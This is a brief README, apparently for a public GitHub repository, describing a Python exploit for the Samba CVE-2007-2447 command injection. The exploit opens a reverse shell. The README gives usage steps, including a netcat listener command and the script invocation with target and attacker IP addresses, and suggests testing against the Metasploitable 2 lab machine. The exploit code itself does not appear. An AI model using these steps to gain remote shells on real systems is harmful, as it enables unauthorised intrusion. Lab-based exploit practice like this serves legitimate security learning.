3x1t1um/cve-2007-2447Python exploit for CVE-2007-2447 that triggers Samba username map script command injection to open a reverse shell on vulnerable targets.
To test the script I recommend you the virtual machine "metasploitable 2" available here. The script will display a reverse shell if the exploit works. To get the connection, just open a netcat session like :
netcat -lnvp <port>
py CVE-2007-2447.py 192.168.1.38 1337 192.168.1.14
and on my netcat :
netcat -lnvp 1337
Result :
netcat :
alt text
and on the script:
alt text
I used a payload of a cheat-sheet. The link is available here. You can replace it with other payloads.